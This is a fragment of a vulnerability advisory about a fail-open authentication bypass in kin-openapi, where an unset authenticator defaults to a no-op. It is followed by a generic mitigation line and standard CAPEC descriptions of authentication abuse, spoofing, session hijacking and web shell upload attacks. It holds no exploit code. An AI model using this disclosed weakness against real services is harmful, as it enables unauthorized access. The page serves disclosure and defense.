  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default"
}

Mitigation
Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

CAPEC-114: Authentication Abuse

An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.

CAPEC-115: Authentication Bypass

An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.

CAPEC-151: Identity Spoofing

Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.

CAPEC-194: Fake the Source of Data

An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-593: Session Hijacking

This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.

CAPEC-633: Token Impersonation

An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.

CAPEC-650: Upload a Web Shell to a Web Server

By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.